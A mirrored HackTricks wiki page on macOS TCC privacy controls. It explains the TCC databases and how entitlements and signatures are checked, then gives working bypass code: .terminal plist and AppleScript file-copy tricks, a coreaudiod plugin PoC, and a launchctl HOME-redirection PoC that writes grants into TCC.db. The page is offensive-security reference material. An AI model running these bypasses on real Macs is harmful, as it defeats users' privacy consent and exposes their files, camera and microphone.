Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-02 17:41:04 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md

21 KiB
Raw Blame History

macOS TCC

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Basic Information

TCC (Transparency, Consent, and Control) is a mechanism in macOS to limit and control application access to certain features, usually from a privacy perspective. This can include things such as location services, contacts, photos, microphone, camera, accessibility, full disk access, and a bunch more.

From a user’s perspective, they see TCC in action when an application wants access to one of the features protected by TCC. When this happens the user is prompted with a dialog asking them whether they want to allow access or not.

It's also possible to grant apps access to files by explicit intents from users for example when a user drags&drop a file into a program (obviously the program should have access to it).

An example of a TCC prompt

TCC is handled by the daemon located in /System/Library/PrivateFrameworks/TCC.framework/Resources/tccdconfigured in /System/Library/LaunchDaemons/com.apple.tccd.system.plist (registering the mach service com.apple.tccd.system).

There is a user-mode tccd running per logged in user defined in /System/Library/LaunchAgents/com.apple.tccd.plist registering the mach services com.apple.tccd and com.apple.usernotifications.delegate.com.apple.tccd.

Permissions are inherited from the parent application and the permissions are tracked based on the Bundle ID and the Developer ID.

TCC Database

The selections is then stored in the TCC system-wide database in /Library/Application Support/com.apple.TCC/TCC.db or in $HOME/Library/Application Support/com.apple.TCC/TCC.db for per-user preferences. The database is protected from editing with SIP(System Integrity Protection), but you can read them by granting full disk access.

{% hint style="info" %} The notification center UI can make changes in the system TCC database:

{% code overflow="wrap" %}

codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
[..]
com.apple.private.tcc.manager
com.apple.rootless.storage.TCC

{% endcode %}

However, users can delete or query rules with the tccutil command line utility. {% endhint %}

{% tabs %} {% tab title="user DB" %}

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

{% endtab %}

{% tab title="system DB" %}

sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

{% endtab %} {% endtabs %}

{% hint style="success" %} Checking both databases you can check the permissions an app has allowed, has forbidden, or doesn't have (it will ask for it). {% endhint %}

  • The auth_value can have different values: denied(0), unknown(1), allowed(2), or limited(3).
  • The auth_reason can take the following values: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
  • For more information about the other fields of the table check this blog post.

{% hint style="info" %} Some TCC permissions are: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... There is no public list that defines all of them but you can check this list of known ones. {% endhint %}

You could also check already given permissions to apps in System Preferences --> Security & Privacy --> Privacy --> Files and Folders.

TCC Signature Checks

The TCC database stores the Bundle ID of the application, but it also stores information about the signature to make sure the App asking to use the a permission is the correct one.

{% code overflow="wrap" %}

# From sqlite
sqlite> select hex(csreq) from access where client="ru.keepcoder.Telegram";
#Get csreq

# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"

{% endcode %}

Entitlements

Apps don't only need to request and have been granted access to some resources, they also need to have the relevant entitlements.
For example Telegram has the entitlement com.apple.security.device.camera to request access to the camera. An app that doesn't have this entitlement won't be able to access the camera (and the user won't be be even asked for the permissions).

However, for apps to access to certain user folders, such as ~/Desktop, ~/Downloads and ~/Documents, they don't need to have any specific entitlements. The system will transparently handle access and prompt the user as needed.

Apple's apps won’t generate prompts. They contain pre-granted rights in their entitlements list, meaning they will never generate a popup, nor they will show up in any of the TCC databases. For example:

codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
    <string>kTCCServiceReminders</string>
    <string>kTCCServiceCalendar</string>
    <string>kTCCServiceAddressBook</string>
</array>

This will avoid Calendar ask the user to access reminders, calendar and the address book.

Sensitive unprotected places

  • $HOME (itself)
  • $HOME/.ssh, $HOME/.aws, etc
  • /tmp

User Intent / com.apple.macl

As mentioned previously, it possible to grant access to an App to a file by drag&dropping it to it. This access won't be specified in any TCC database but as an extended attribute of the file. This attribute will store the UUID of the allowed app:

xattr Desktop/private.txt
com.apple.macl

# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3

# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
    uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3

{% hint style="info" %} It's curious that the com.apple.macl attribute is managed by the Sandbox, not tccd {% endhint %}

The extended attribute com.apple.macl can’t be cleared like other extended attributes because it’s protected by SIP. However, as explained in this post, it's possible to disable it zipping the file, deleting it and unzipping it.

Bypasses

Write Bypass

This is not a bypass, it's just how TCC works: It doesn't protect from writing. If Terminal doesn't have access to read the Desktop of a user it can still write into it:

username@hostname ~ % ls Desktop 
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

The extended attribute com.apple.macl is added to the new file to give the creators app access to read it.

SSH Bypass

By default an access via SSH will have "Full Disk Access". In order to disable this you need to have it listed but disabled (removing it from the list won't remove those privileges):

Here you can find examples of how some malwares have been able to bypass this protection:

Electron Bypass

The JS code of an Electron App is not signed, so an attacker could move the app to a writable location, inject malicious JS code and launch that app and abuse the TCC permissions.

Electron is working on ElectronAsarIntegrity key in Info.plist that will contain a hash of the app.asar file to check the integrity of the JS code before executing it.

Terminal Scripts

It's quiet common to give terminal Full Disk Access (FDA), at least in computers used by tech people. And it's possible to invoke .terminal scripts using with it.

.terminal scripts are plist files such as this one with the command to execute in the CommandString key:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
    <key>CommandString</key>
    <string>cp ~/Desktop/private.txt /tmp/;</string>
    <key>ProfileCurrentVersion</key>
    <real>2.0600000000000001</real>
    <key>RunCommandAsShell</key>
    <false/>
    <key>name</key>
    <string>exploit</string>
    <key>type</key>
    <string>Window Settings</string>
</dict>
</plist>

An application could write a terminal script in a location such as /tmp and launch it with a come such as:

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

kTCCServiceAppleEvents / Automation

An app with the kTCCServiceAppleEvents permission will be able to control other Apps. This means that it could be able to abuse the permissions granted to the other Apps.

For more info about Apple Scripts check:

{% content-ref url="macos-apple-scripts.md" %} macos-apple-scripts.md {% endcontent-ref %}

For example, if an App has Automation permission over iTerm, for example in this example Terminal has access over iTerm:

Over iTerm

Terminal, who doesn't have FDA, can call iTerm, which has it, and use it to perform actions:

{% code title="iterm.script" %}

tell application "iTerm"
    activate
    tell current window
        create tab with default profile
    end tell
    tell current session of current window
        write text "cp ~/Desktop/private.txt /tmp"
    end tell
end tell

{% endcode %}

osascript iterm.script

Over Finder

Or if an App has access over Finder, it could a script such as this one:

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

Process Abuse

I you manage to inject code in a process you will be able to abuse the TCC permissions of that process.

Check process abuse techniques in the following page:

{% content-ref url="../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

See some examples in the following sections:

CVE-2020-29621 - Coreaudiod

The binary /usr/sbin/coreaudiod had the entitlements com.apple.security.cs.disable-library-validation and com.apple.private.tcc.manager. The first allowing code injection and second one giving it access to manage TCC.

This binary allowed to load third party plug-ins from the folder /Library/Audio/Plug-Ins/HAL. Therefore, it was possible to load a plugin and abuse the TCC permissions with this PoC:

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
    CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");
    
    CFStringRef bundleID = CFSTR("com.apple.Terminal");
    CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
    SecRequirementRef requirement = NULL;
    SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
    CFDataRef requirementData = NULL;
    SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);
    
    TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {
    
    add_tcc_entry();
    
    NSLog(@"[+] Exploitation finished...");
    exit(0);

CVE-2020–9934 - TCC

The userland tccd daemon what using the HOME env variable to access the TCC users database from: $HOME/Library/Application Support/com.apple.TCC/TCC.db

According to this Stack Exchange post and because the TCC daemon is running via launchd within the current user’s domain, it's possible to control all environment variables passed to it.
Thus, an attacker could set $HOME environment variable in launchctl to point to a controlled directory, restart the TCC daemon, and then directly modify the TCC database to give itself every TCC entitlement available without ever prompting the end user.
PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"                     
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump                                                               
$> sqlite3 TCC.db "INSERT INTO access
                   VALUES('kTCCServiceSystemPolicyDocumentsFolder',
                   'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
                   NULL,
                   NULL,
                   'UNUSED',
                   NULL,
                   NULL,
                   1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761

Notes had access to TCC protected locations but when a note is created this is created in a non-protected location. So, you could ask notes to copy a protected file in a noe (so in a non-protected location) and then access the file:

CVE-2023-26818 - Telegram

Telegram had the entitlements com.apple.security.cs.allow-dyld-environment-variables and com.apple.security.cs.disable-library-validation, so it was possible to abuse it to get access to its permissions such recording with the camera. You can find the payload in the writeup.

References

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥